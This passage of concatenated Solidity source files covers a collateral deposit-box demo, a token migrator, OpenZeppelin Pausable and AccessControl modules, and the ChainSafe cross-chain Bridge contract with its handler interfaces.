sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public isInitialized() fees() nonReentrant() { require(collateralAmount.isGreaterThan(0), "Invalid collateral amount"); DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; if (_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isEqual(0)) { emit NewDepositBox(msg.sender); } // Increase the individual deposit box and global collateral balance by collateral amount. _incrementCollateralBalances(depositBoxData, collateralAmount); emit Deposit(msg.sender, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); } /** * @notice Starts a withdrawal request that allows the sponsor to withdraw `denominatedCollateralAmount` * from their position denominated in the quote asset of the price identifier, following a DVM price resolution. * @dev The request will be pending for the duration of the DVM vote and can be cancelled at any time. * Only one withdrawal request can exist for the user. * @param denominatedCollateralAmount the quote-asset denominated amount of collateral requested to withdraw. */ function requestWithdrawal(FixedPoint.Unsigned memory denominatedCollateralAmount) public isInitialized() noPendingWithdrawal(msg.sender) nonReentrant() { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require(denominatedCollateralAmount.isGreaterThan(0), "Invalid collateral amount"); // Update the position object for the user. depositBoxData.withdrawalRequestAmount = denominatedCollateralAmount; depositBoxData.requestPassTimestamp = getCurrentTime(); emit RequestWithdrawal(msg.sender, denominatedCollateralAmount.rawValue, depositBoxData.requestPassTimestamp); // Every price request costs a fixed fee. Check that this user has enough deposited to cover the final fee. FixedPoint.Unsigned memory finalFee = _computeFinalFees(); require( _getFeeAdjustedCollateral(depositBoxData.rawCollateral).isGreaterThanOrEqual(finalFee), "Cannot pay final fee" ); _payFinalFees(address(this), finalFee); // A price request is sent for the current timestamp. _requestOraclePrice(depositBoxData.requestPassTimestamp); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution), * withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function executeWithdrawal() external isInitialized() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require( depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(), "Invalid withdraw request" ); // Get the resolved price or revert. FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp); // Calculate denomated amount of collateral based on resolved exchange rate. // Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH. // Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH. FixedPoint.Unsigned memory denominatedAmountToWithdraw = depositBoxData.withdrawalRequestAmount.div(exchangeRate); // If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data. if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) { denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral); // Reset the position state as all the value has been removed after settlement. emit EndedDepositBox(msg.sender); } // Decrease the individual deposit box and global collateral balance. amountWithdrawn = _decrementCollateralBalances(depositBoxData, denominatedAmountToWithdraw); emit RequestWithdrawalExecuted( msg.sender, amountWithdrawn.rawValue, exchangeRate.rawValue, depositBoxData.requestPassTimestamp ); // Reset withdrawal request by setting withdrawal request timestamp to 0. _resetWithdrawalRequest(depositBoxData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external isInitialized() nonReentrant() { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require(depositBoxData.requestPassTimestamp != 0, "No pending withdrawal"); emit RequestWithdrawalCanceled( msg.sender, depositBoxData.withdrawalRequestAmount.rawValue, depositBoxData.requestPassTimestamp ); // Reset withdrawal request by setting withdrawal request timestamp to 0. _resetWithdrawalRequest(depositBoxData); } /** * @notice `emergencyShutdown` and `remargin` are required to be implemented by all financial contracts and exposed to the DVM, but * because this is a minimal demo they will simply exit silently. */ function emergencyShutdown() external override isInitialized() nonReentrant() { return; } /** * @notice Same comment as `emergencyShutdown`. For the sake of simplicity, this will simply exit silently. */ function remargin() external override isInitialized() nonReentrant() { return; } /** * @notice Accessor method for a user's collateral. * @dev This is necessary because the struct returned by the depositBoxes() method shows * rawCollateral, which isn't a user-readable value. * @param user address whose collateral amount is retrieved. * @return the fee-adjusted collateral amount in the deposit box (i.e. available for withdrawal). */ function getCollateral(address user) external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(depositBoxes[user].rawCollateral); } /** * @notice Accessor method for the total collateral stored within the entire contract. * @return the total fee-adjusted collateral amount in the contract (i.e. across all users). */ function totalDepositBoxCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Requests a price for `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePrice(uint256 requestedTime) internal { OracleInterface oracle = _getOracle(); oracle.requestPrice(priceIdentifier, requestedTime); } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( DepositBoxData storage depositBoxData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(depositBoxData.rawCollateral, collateralAmount); return _addCollateral(rawTotalDepositBoxCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( DepositBoxData storage depositBoxData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(depositBoxData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalDepositBoxCollateral, collateralAmount); } function _resetWithdrawalRequest(DepositBoxData storage depositBoxData) internal { depositBoxData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); depositBoxData.requestPassTimestamp = 0; } function _depositBoxHasNoPendingWithdrawal(address user) internal view { require(depositBoxes[user].requestPassTimestamp == 0, "Pending withdrawal"); } function _isInitialized() internal view { require(initialized, "Uninitialized contract"); } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) { OracleInterface oracle = _getOracle(); require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price"); int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime); // For simplicity we don't want to deal with negative prices. if (oraclePrice < 0) { oraclePrice = 0; } return FixedPoint.Unsigned(uint256(oraclePrice)); } // `_pfc()` is inherited from FeePayer and must be implemented to return the available pool of collateral from // which fees can be charged. For this contract, the available fee pool is simply all of the collateral locked up in the // contract. function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "../../common/interfaces/ExpandedIERC20.sol"; import "./VotingToken.sol"; /** * @title Migration contract for VotingTokens. * @dev Handles migrating token holders from one token to the next. */ contract TokenMigrator { using FixedPoint for FixedPoint.Unsigned; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ VotingToken public oldToken; ExpandedIERC20 public newToken; uint256 public snapshotId; FixedPoint.Unsigned public rate; mapping(address => bool) public hasMigrated; /** * @notice Construct the TokenMigrator contract. * @dev This function triggers the snapshot upon which all migrations will be based. * @param _rate the number of old tokens it takes to generate one new token. * @param _oldToken address of the token being migrated from. * @param _newToken address of the token being migrated to. */ constructor( FixedPoint.Unsigned memory _rate, address _oldToken, address _newToken ) public { // Prevents division by 0 in migrateTokens(). // Also it doesn’t make sense to have “0 old tokens equate to 1 new token”. require(_rate.isGreaterThan(0), "Rate can't be 0"); rate = _rate; newToken = ExpandedIERC20(_newToken); oldToken = VotingToken(_oldToken); snapshotId = oldToken.snapshot(); } /** * @notice Migrates the tokenHolder's old tokens to new tokens. * @dev This function can only be called once per `tokenHolder`. Anyone can call this method * on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier. * @param tokenHolder address of the token holder to migrate. */ function migrateTokens(address tokenHolder) external { require(!hasMigrated[tokenHolder], "Already migrated tokens"); hasMigrated[tokenHolder] = true; FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId)); if (!oldBalance.isGreaterThan(0)) { return; } FixedPoint.Unsigned memory newBalance = oldBalance.div(rate); require(newToken.mint(tokenHolder, newBalance.rawValue), "Mint failed"); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/ExpandedERC20.sol"; contract TokenSender { function transferERC20( address tokenAddress, address recipientAddress, uint256 amount ) public returns (bool) { IERC20 token = IERC20(tokenAddress); token.transfer(recipientAddress, amount); return true; } } pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./IDepositExecute.sol"; import "./IBridge.sol"; import "./IERCHandler.sol"; import "./IGenericHandler.sol"; /** @title Facilitates deposits, creation and votiing of deposit proposals, and deposit executions. @author ChainSafe Systems. */ contract Bridge is Pausable, AccessControl { using SafeMath for uint256; uint8 public _chainID; uint256 public _relayerThreshold; uint256 public _totalRelayers; uint256 public _totalProposals; uint256 public _fee; uint256 public _expiry; enum Vote { No, Yes } enum ProposalStatus { Inactive, Active, Passed, Executed, Cancelled } struct Proposal { bytes32 _resourceID; bytes32 _dataHash; address[] _yesVotes; address[] _noVotes; ProposalStatus _status; uint256 _proposedBlock; } // destinationChainID => number of deposits mapping(uint8 => uint64) public _depositCounts; // resourceID => handler address mapping(bytes32 => address) public _resourceIDToHandlerAddress; // depositNonce => destinationChainID => bytes mapping(uint64 => mapping(uint8 => bytes)) public _depositRecords; // destinationChainID + depositNonce => dataHash => Proposal mapping(uint72 => mapping(bytes32 => Proposal)) public _proposals; // destinationChainID + depositNonce => dataHash => relayerAddress => bool mapping(uint72 => mapping(bytes32 => mapping(address => bool))) public _hasVotedOnProposal; event RelayerThresholdChanged(uint256 indexed newThreshold); event RelayerAdded(address indexed relayer); event RelayerRemoved(address indexed relayer); event Deposit(uint8 indexed destinationChainID, bytes32 indexed resourceID, uint64 indexed depositNonce); event ProposalEvent( uint8 indexed originChainID, uint64 indexed depositNonce, ProposalStatus indexed status, bytes32 resourceID, bytes32 dataHash ); event ProposalVote( uint8 indexed originChainID, uint64 indexed depositNonce, ProposalStatus indexed status, bytes32 resourceID ); bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE"); modifier onlyAdmin() { _onlyAdmin(); _; } modifier onlyAdminOrRelayer() { _onlyAdminOrRelayer(); _; } modifier onlyRelayers() { _onlyRelayers(); _; } function _onlyAdminOrRelayer() private { require( hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(RELAYER_ROLE, msg.sender), "sender is not relayer or admin" ); } function _onlyAdmin() private { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "sender doesn't have admin role"); } function _onlyRelayers() private { require(hasRole(RELAYER_ROLE, msg.sender), "sender doesn't have relayer role"); } /** @notice Initializes Bridge, creates and grants {msg.sender} the admin role, creates and grants {initialRelayers} the relayer role. @param chainID ID of chain the Bridge contract exists on. @param initialRelayers Addresses that should be initially granted the relayer role. @param initialRelayerThreshold Number of votes needed for a deposit proposal to be considered passed. */ constructor( uint8 chainID, address[] memory initialRelayers, uint256 initialRelayerThreshold, uint256 fee, uint256 expiry ) public { _chainID = chainID; _relayerThreshold = initialRelayerThreshold; _fee = fee; _expiry = expiry; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setRoleAdmin(RELAYER_ROLE, DEFAULT_ADMIN_ROLE); for (uint256 i; i < initialRelayers.length; i++) { grantRole(RELAYER_ROLE, initialRelayers[i]); _totalRelayers++; } } /** @notice Returns true if {relayer} has the relayer role. @param relayer Address to check. */ function isRelayer(address relayer) external view returns (bool) { return hasRole(RELAYER_ROLE, relayer); } /** @notice Removes admin role from {msg.sender} and grants it to {newAdmin}. @notice Only callable by an address that currently has the admin role. @param newAdmin Address that admin role will be granted to. */ function renounceAdmin(address newAdmin) external onlyAdmin { grantRole(DEFAULT_ADMIN_ROLE, newAdmin); renounceRole(DEFAULT_ADMIN_ROLE, msg.sender); } /** @notice Pauses deposits, proposal creation and voting, and deposit executions. @notice Only callable by an address that currently has the admin role. */ function adminPauseTransfers() external onlyAdmin { _pause(); } /** @notice Unpauses deposits, proposal creation and voting, and deposit executions. @notice Only callable by an address that currently has the admin role. */ function adminUnpauseTransfers() external onlyAdmin { _unpause(); } /** @notice Modifies the number of votes required for a proposal to be considered passed. @notice Only callable by an address that currently has the admin role. @param newThreshold Value {_relayerThreshold} will be changed to. @notice Emits {RelayerThresholdChanged} event. */ function adminChangeRelayerThreshold(uint256 newThreshold) external onlyAdmin { _relayerThreshold = newThreshold; emit RelayerThresholdChanged(newThreshold); } /** @notice Grants {relayerAddress} the relayer role and increases {_totalRelayer} count. @notice Only callable by an address that currently has the admin role. @param relayerAddress Address of relayer to be added. @notice Emits {RelayerAdded} event. */ function adminAddRelayer(address relayerAddress) external onlyAdmin { require(!hasRole(RELAYER_ROLE, relayerAddress), "addr already has relayer role!"); grantRole(RELAYER_ROLE, relayerAddress); emit RelayerAdded(relayerAddress); _totalRelayers++; } /** @notice Removes relayer role for {relayerAddress} and decreases {_totalRelayer} count. @notice Only callable by an address that currently has the admin role. @param relayerAddress Address of relayer to be removed. @notice Emits {RelayerRemoved} event. */ function adminRemoveRelayer(address relayerAddress) external onlyAdmin { require(hasRole(RELAYER_ROLE, relayerAddress), "addr doesn't have relayer role!"); revokeRole(RELAYER_ROLE, relayerAddress); emit RelayerRemoved(relayerAddress); _totalRelayers--; } /** @notice Sets a new resource for handler contracts that use the IERCHandler interface, and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}. @notice Only callable by an address that currently has the admin role. @param handlerAddress Address of handler resource will be set for. @param resourceID ResourceID to be used when making deposits. @param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function adminSetResource( address handlerAddress, bytes32 resourceID, address tokenAddress ) external onlyAdmin { _resourceIDToHandlerAddress[resourceID] = handlerAddress; IERCHandler handler = IERCHandler(handlerAddress); handler.setResource(resourceID, tokenAddress); } /** @notice Sets a new resource for handler contracts that use the IGenericHandler interface, and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}. @notice Only callable by an address that currently has the admin role. @param handlerAddress Address of handler resource will be set for. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function adminSetGenericResource( address handlerAddress, bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, bytes4 executeFunctionSig ) external onlyAdmin { _resourceIDToHandlerAddress[resourceID] = handlerAddress; IGenericHandler handler = IGenericHandler(handlerAddress); handler.setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig); } /** @notice Sets a resource as burnable for handler contracts that use the IERCHandler interface. @notice Only callable by an address that currently has the admin role. @param handlerAddress Address of handler resource will be set for. @param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function adminSetBurnable(address handlerAddress, address tokenAddress) external onlyAdmin { IERCHandler handler = IERCHandler(handlerAddress); handler.setBurnable(tokenAddress); } /** @notice Returns a proposal. @param originChainID Chain ID deposit originated from. @param depositNonce ID of proposal generated by proposal's origin Bridge contract. @param dataHash Hash of data to be provided when deposit proposal is executed. @return Proposal which consists of: - _dataHash Hash of data to be provided when deposit proposal is executed. - _yesVotes Number of votes in favor of proposal. - _noVotes Number of votes against proposal. - _status Current status of proposal. */ function getProposal( uint8 originChainID, uint64 depositNonce, bytes32 dataHash ) external view returns (Proposal memory) { uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(originChainID); return _proposals[nonceAndID][dataHash]; } /** @notice Changes deposit fee. @notice Only callable by admin. @param newFee Value {_fee} will be updated to. */ function adminChangeFee(uint256 newFee) external onlyAdmin { require(_fee != newFee, "Current fee is equal to new fee"); _fee = newFee; } /** @notice Used to manually withdraw funds from ERC safes. @param handlerAddress Address of handler to withdraw from. @param tokenAddress Address of token to withdraw. @param recipient Address to withdraw tokens to. @param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to withdraw. */ function adminWithdraw( address handlerAddress, address tokenAddress, address recipient, uint256 amountOrTokenID ) external onlyAdmin { IERCHandler handler = IERCHandler(handlerAddress); handler.withdraw(tokenAddress, recipient, amountOrTokenID); } /** @notice Initiates a transfer using a specified handler contract. @notice Only callable when Bridge is not paused. @param destinationChainID ID of chain deposit will be bridged to. @param resourceID ResourceID used to find address of handler to be used for deposit. @param data Additional data to be passed to specified handler. @notice Emits {Deposit} event. */ function deposit( uint8 destinationChainID, bytes32 resourceID, bytes calldata data ) external payable whenNotPaused { require(msg.value == _fee, "Incorrect fee supplied"); address handler = _resourceIDToHandlerAddress[resourceID]; require(handler != address(0), "resourceID not mapped to handler"); uint64 depositNonce = ++_depositCounts[destinationChainID]; _depositRecords[depositNonce][destinationChainID] = data; IDepositExecute depositHandler = IDepositExecute(handler); depositHandler.deposit(resourceID, destinationChainID, depositNonce, msg.sender, data); emit Deposit(destinationChainID, resourceID, depositNonce); } /** @notice When called, {msg.sender} will be marked as voting in favor of proposal. @notice Only callable by relayers when Bridge is not paused. @param chainID ID of chain deposit originated from. @param depositNonce ID of deposited generated by origin Bridge contract. @param dataHash Hash of data provided when deposit was made. @notice Proposal must not have already been passed or executed. @notice {msg.sender} must not have already voted on proposal. @notice Emits {ProposalEvent} event with status indicating the proposal status. @notice Emits {ProposalVote} event. */ function voteProposal( uint8 chainID, uint64 depositNonce, bytes32 resourceID, bytes32 dataHash ) external onlyRelayers whenNotPaused { uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID); Proposal storage proposal = _proposals[nonceAndID][dataHash]; require(_resourceIDToHandlerAddress[resourceID] != address(0), "no handler for resourceID"); require(uint256(proposal._status) <= 1, "proposal already passed/executed/cancelled"); require(!_hasVotedOnProposal[nonceAndID][dataHash][msg.sender], "relayer already voted"); if (uint256(proposal._status) == 0) { ++_totalProposals; _proposals[nonceAndID][dataHash] = Proposal({ _resourceID: resourceID, _dataHash: dataHash, _yesVotes: new address[](1), _noVotes: new address[](0), _status: ProposalStatus.Active, _proposedBlock: block.number }); proposal._yesVotes[0] = msg.sender; emit ProposalEvent(chainID, depositNonce, ProposalStatus.Active, resourceID, dataHash); } else { if (block.number.sub(proposal._proposedBlock) > _expiry) { // if the number of blocks that has passed since this proposal was // submitted exceeds the expiry threshold set, cancel the proposal proposal._status = ProposalStatus.Cancelled; emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, resourceID, dataHash); } else { require(dataHash == proposal._dataHash, "datahash mismatch"); proposal._yesVotes.push(msg.sender); } } if (proposal._status != ProposalStatus.Cancelled) { _hasVotedOnProposal[nonceAndID][dataHash][msg.sender] = true; emit ProposalVote(chainID, depositNonce, proposal._status, resourceID); // If _depositThreshold is set to 1, then auto finalize // or if _relayerThreshold has been exceeded if (_relayerThreshold <= 1 || proposal._yesVotes.length >= _relayerThreshold) { proposal._status = ProposalStatus.Passed; emit ProposalEvent(chainID, depositNonce, ProposalStatus.Passed, resourceID, dataHash); } } } /** @notice Executes a deposit proposal that is considered passed using a specified handler contract. @notice Only callable by relayers when Bridge is not paused. @param chainID ID of chain deposit originated from. @param depositNonce ID of deposited generated by origin Bridge contract. @param dataHash Hash of data originally provided when deposit was made. @notice Proposal must be past expiry threshold. @notice Emits {ProposalEvent} event with status {Cancelled}. */ function cancelProposal( uint8 chainID, uint64 depositNonce, bytes32 dataHash ) public onlyAdminOrRelayer { uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID); Proposal storage proposal = _proposals[nonceAndID][dataHash]; require(proposal._status != ProposalStatus.Cancelled, "Proposal already cancelled"); require(block.number.sub(proposal._proposedBlock) > _expiry, "Proposal not at expiry threshold"); proposal._status = ProposalStatus.Cancelled; emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, proposal._resourceID, proposal._dataHash); } /** @notice Executes a deposit proposal that is considered passed using a specified handler contract. @notice Only callable by relayers when Bridge is not paused. @param chainID ID of chain deposit originated from. @param resourceID ResourceID to be used when making deposits. @param depositNonce ID of deposited generated by origin Bridge contract. @param data Data originally provided when deposit was made. @notice Proposal must have Passed status. @notice Hash of {data} must equal proposal's {dataHash}. @notice Emits {ProposalEvent} event with status {Executed}. */ function executeProposal( uint8 chainID, uint64 depositNonce, bytes calldata data, bytes32 resourceID ) external onlyRelayers whenNotPaused { address handler = _resourceIDToHandlerAddress[resourceID]; uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID); bytes32 dataHash = keccak256(abi.encodePacked(handler, data)); Proposal storage proposal = _proposals[nonceAndID][dataHash]; require(proposal._status != ProposalStatus.Inactive, "proposal is not active"); require(proposal._status == ProposalStatus.Passed, "proposal already transferred"); require(dataHash == proposal._dataHash, "data doesn't match datahash"); proposal._status = ProposalStatus.Executed; IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[proposal._resourceID]); depositHandler.executeProposal(proposal._resourceID, data); emit ProposalEvent(chainID, depositNonce, proposal._status, proposal._resourceID, proposal._dataHash); } /** @notice Transfers eth in the contract to the specified addresses. The parameters addrs and amounts are mapped 1-1. This means that the address at index 0 for addrs will receive the amount (in WEI) from amounts at index 0. @param addrs Array of addresses to transfer {amounts} to. @param amounts Array of amonuts to transfer to {addrs}. */ function transferFunds(address payable[] calldata addrs, uint256[] calldata amounts) external onlyAdmin { for (uint256 i = 0; i < addrs.length; i++) { addrs[i].transfer(amounts[i]); } } } pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity ^0.6.0; /** @title Interface for handler contracts that support deposits and deposit executions. @author ChainSafe Systems. */ interface IDepositExecute { /** @notice It is intended that deposit are made using the Bridge contract. @param destinationChainID Chain ID deposit is expected to be bridged to. @param depositNonce This value is generated as an ID by the Bridge contract. @param depositer Address of account making the deposit in the Bridge contract. @param data Consists of additional data needed for a specific deposit. */ function deposit( bytes32 resourceID, uint8 destinationChainID, uint64 depositNonce, address depositer, bytes calldata data ) external; /** @notice It is intended that proposals are executed by the Bridge contract. @param data Consists of additional data needed for a specific deposit execution. */ function executeProposal(bytes32 resourceID, bytes calldata data) external; } pragma solidity ^0.6.0; /** @title Interface for Bridge contract. @author ChainSafe Systems. */ interface IBridge { /** @notice Exposing getter for {_chainID} instead of forcing the use of call. @return uint8 The {_chainID} that is currently set for the Bridge contract. */ function _chainID() external returns (uint8); } pragma solidity ^0.6.0; /** @title Interface to be used with handlers that support ERC20s and ERC721s. @author ChainSafe Systems. */ interface IERCHandler { /** @notice Correlates {resourceID} with {contractAddress}. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function setResource(bytes32 resourceID, address contractAddress) external; /** @notice Marks {contractAddress} as mintable/burnable. @param contractAddress Address of contract to be used when making or executing deposits. */ function setBurnable(address contractAddress) external; /** @notice Used to manually release funds from ERC safes. @param tokenAddress Address of token contract to release. @param recipient Address to release tokens to. @param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release. */ function withdraw( address tokenAddress, address recipient, uint256 amountOrTokenID ) external; } pragma solidity ^0.6.0; /** @title Interface for handler that handles generic deposits and 